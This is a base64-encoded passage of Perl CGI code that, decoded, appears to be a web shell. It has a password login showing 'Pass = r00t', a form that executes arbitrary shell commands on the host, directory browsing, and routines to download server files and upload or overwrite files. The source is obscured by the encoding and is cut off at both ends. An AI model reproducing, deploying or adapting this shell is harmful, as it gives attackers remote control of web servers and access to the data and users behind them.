ZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuZW5jb2RlX2Jhc2U2NCgkcGF0aCkuIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKCgpQYXNzd29yZDo8YnI+CkxvZ2luIGluY29ycmVjdDxicj48YnI+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpbkZvcm0KewoJcHJpbnQgPDxFTkQ7Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPgpMb2dpbiA6IEFkbWluaXN0cmF0b3I8YnI+ClBhc3N3b3JkOjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icCI+CjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+CjwvZm9ybT4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPGJyPgoJPGZvbnQgY29sb3I9cmVkPj08L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPi0tLSZndDs8Zm9udCBjb2xvcj0jZmY5OTAwPlBhc3MgPSByMDB0PC9mb250PiZsdDstLS09PC9mb250PjwvY29kZT4KPC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOwp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQojIHZhcmlhYmxlICRDb29raWVzeycnfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBHZXRDb29raWVzCnsKCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7Cglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQoJewoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsKCQkkQ29va2llc3skaWR9ID0gJHZhbDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBzY3JlZW4gd2hlbiB0aGUgdXNlciBsb2dzIG91dAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ291dFNjcmVlbgp7CglwcmludCAiQ29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgoJJlByaW50TG9naW5TY3JlZW47CgkmUHJpbnRMb2dpbkZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwoJZXhpdDsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQKIyBkaXNwbGF5cyBhIHBhZ2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQgZG9lbnMndAojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcgojIHRvIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFBlcmZvcm1Mb2dpbiAKewoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBhc3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQKCXsKCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOwoJCSZQcmludFBhZ2VIZWFkZXI7CgkJcHJpbnQgJkxpc3REaXI7Cgl9CgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoCgl7CgkJJlByaW50UGFnZUhlYWRlcigicCIpOwoJCSZQcmludExvZ2luU2NyZWVuOwoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQKCQl7CgkJCSZQcmludExvZ2luRmFpbGVkTWVzc2FnZTsKCgkJfQoJCSZQcmludExvZ2luRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCWV4aXQ7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiIgb25TdWJtaXQ9IkVuY29kZXIoJ2MnKSI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyIgaWQ9ImMiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyAKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7CglyZXR1cm4gPDxFTkQ7Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+CkRvd25sb2FkOiA8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgoKPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCW15ICRkaXI9ICZBZGRMaW5rRGlyKCJ1cGxvYWQiKTsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7CglyZXR1cm4gPDxFTkQ7Cjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgokUHJvbXB0IHVwbG9hZDxicj48YnI+CkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIGlkPSJ1cCIgdmFsdWU9Im92ZXJ3cml0ZSI+CjxsYWJlbCBmb3I9InVwIj5PdmVyd3JpdGUgaWYgaXQgRXhpc3RzPC9sYWJlbD48YnI+PGJyPgpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+CjwvZm9ybT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcmV0dXJuIDw8RU5EOwo8L3RleHRhcmVhPgo8YnI+PGZvbnQgY29sb3I9eWVsbG93PgpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pgo8YnI+PGZvbnQgc2l6ZT0nNicgY29sb3I9cmVkPktpbGxlZCBpdCE8L2ZvbnQ+CkVORAoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJbXkgJHJlc3VsdD0iIjsKCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cwoJewoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXIKCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7CgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOwoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJCSRyZXN1bHQgLj0gPDxFTkQ7ClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJyPgoKSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+CkVORAoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkISI7CgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyCnsKCW15ICRyZXN1bHQgPSAiIjsKCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsKCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcKCXsKCQlpZigkV2luTlQpCgkJewoJCQliaW5tb2RlKFNFTkRGSUxFKTsKCQkJYmlubW9kZShTVERPVVQpOwoJCX0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsKCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7CgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOwoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOwoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOwoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOwoJCWNsb3NlKFNFTkRGSUxFKTsKCQlleGl0KDEpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7CgkJJHJlc3VsdCAuPSZQcmludEZpbGVEb3dubG9hZEZvcm07Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UKIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwKIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCZWdpbkRvd25sb2FkCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfAoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBVcGxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2FpbgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQlyZXR1cm4gJlByaW50RmlsZVVwbG9hZEZvcm07CgoJfQoJbXkgJHJlc3VsdD0iIjsKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOwoKCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQKCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsKCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOwoKCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOwoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0CglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7Cgl9CgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudAoJewoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQoJCXsKCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7CgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9OwoJCQljbG9zZShVUExPQURGSUxFKTsKCQkJJHJlc3VsdCAuPSAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsKCQl9CgkJZWxzZQoJCXsKCQkJJHJlc3VsdCAuPSAiRmFpbGVkOiAkITxicj4iOwoJCX0KCX0KCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3J